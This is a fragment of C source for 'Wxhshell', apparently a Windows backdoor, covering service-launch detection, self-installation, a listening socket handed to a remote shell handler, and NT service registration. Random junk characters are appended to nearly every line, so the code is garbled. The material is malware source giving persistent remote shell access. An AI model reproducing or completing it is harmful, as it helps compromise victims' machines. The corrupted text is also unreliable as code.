ULONG UniqueProcessId; pZUXXX
ULONG InheritedFromUniqueProcessId; gLGu#6YVu
} PROCESS_BASIC_INFORMATION; (s?Rbd
8kA2.pIk
PROCNTQSIP NtQueryInformationProcess; =k+nC)e
e <]^7pz
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0%f}w0]:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XNd%3rm,
7>sNjOt@M
HANDLE hProcess; 52H'aHO1
PROCESS_BASIC_INFORMATION pbi; b IZuZF>*
L2GUrf
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ln~;Osb
if(NULL == hInst ) return 0; M}cgVMW
:\sz`p?EC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "jFRGgd79
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g$P <`.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <!m'xOD
zUNWcv!& "
if (!NtQueryInformationProcess) return 0; l%^VBv>
2
0[SJ7k19
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oMNgyAp^
if(!hProcess) return 0; &R7N^*He
\f6@B:?y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #MwNyZ
'1u!@=.\G
CloseHandle(hProcess); g82_KUkB
CRKuN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (}jYi*B
if(hProcess==NULL) return 0; ,dZ&i!@?
S="teH[
HMODULE hMod; Vy6A]U\%
char procName[255]; <.6bni
)
unsigned long cbNeeded; 6&Al9+$
wAn}ic".b
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WhU-^`[*
ZBX,4kxK7
CloseHandle(hProcess); YN<:k
Wu
Q;EQ8pL?"
if(strstr(procName,"services")) return 1; // 以服务启动 a9<&|L <
:p6.v>s8
return 0; // 注册表启动 bm Hl\?
} ;WG6|QgV?-
6.|Qyk*
// 主模块 I<v:xTor
int StartWxhshell(LPSTR lpCmdLine) -kZOve|5
{ P*M$^p
SOCKET wsl; nm3/-Q},
BOOL val=TRUE; xdqiogu e
int port=0; D%k`udz<
struct sockaddr_in door; &N^^[
uG
C OC6H'F
if(wscfg.ws_autoins) Install(); :kMEL*
~ R:=zGDV
port=atoi(lpCmdLine); qDzd_E@aR
W\W|v?r
if(port<=0) port=wscfg.ws_port; B)1.CHV%<
ag~4m5n*~
WSADATA data; K$K6,54y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IW1+^F9NEw
?jDdF
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R,'`
A.Kk
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GNIZHyT(O
door.sin_family = AF_INET; vXA+4 ?ZG
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >^!qxb-
door.sin_port = htons(port); \4B2%H
/'S@iq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n,.ZLuBEX
closesocket(wsl); 4Em$L]7
return 1; liuF;*
} EP;TfWc}1
B
>
sTM
if(listen(wsl,2) == INVALID_SOCKET) { ?cF-w!>o8
closesocket(wsl); |x[zzx#
>-
return 1; 5m e|dvk
} 4jyDM68i
Wxhshell(wsl); uBPxMwohR
WSACleanup(); l-GQ AI8
@aX$}
return 0; ~SWR|[
U<|h4'(@L
} P<1ZpL
}/{G
// 以NT服务方式启动 BRu/pyxG
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mF|7:zSo
{ [nBdq"K
DWORD status = 0; ^{vf|zZ _
DWORD specificError = 0xfffffff; /<\B8^yQ
tCw.wDq3=
serviceStatus.dwServiceType = SERVICE_WIN32; 6N^sUc0s
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >>'t7U##
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lh"!Z
serviceStatus.dwWin32ExitCode = 0; HalkNR-eEm
serviceStatus.dwServiceSpecificExitCode = 0; ?[|T"bE5[
serviceStatus.dwCheckPoint = 0; #t^y$9^
serviceStatus.dwWaitHint = 0; <Fc @T4Q,
rps2sXGr
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z
g '1T2t
if (hServiceStatusHandle==0) return; tBZ&h`
V
^3qo%=i
status = GetLastError(); &$!'Cw`,
if (status!=NO_ERROR) 99<0xN(25
{ m)]A$*`<
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~BSE8M+r
serviceStatus.dwCheckPoint = 0; w=r3QKm#K
serviceStatus.dwWaitHint = 0; lQnl6j
serviceStatus.dwWin32ExitCode = status; cjd Z.jR2
serviceStatus.dwServiceSpecificExitCode = specificError; g7-=kmr|V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Apg
return; [ NSsT>C
} X)tf3M
{J@
\U1fUrw$*
serviceStatus.dwCurrentState = SERVICE_RUNNING; bg8<}~zg
serviceStatus.dwCheckPoint = 0; `?X=@
serviceStatus.dwWaitHint = 0; FzDZ<dJ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8, >YB+Hb
} r dc}e"v
+:s]>R eDa
// 处理NT服务事件,比如:启动、停止 '_~X(izc
VOID WINAPI NTServiceHandler(DWORD fdwControl) j70]2NgX
{ ZW]Q|vPh4U
switch(fdwControl) UP@a
?w
{ sw(dd01a
7
case SERVICE_CONTROL_STOP: :[#~,TW
serviceStatus.dwWin32ExitCode = 0; }P5zf$
serviceStatus.dwCurrentState = SERVICE_STOPPED;
_>G=v!
serviceStatus.dwCheckPoint = 0; w_gPX0N}3n
serviceStatus.dwWaitHint = 0; }WN0L?h.E
{ i&r56m<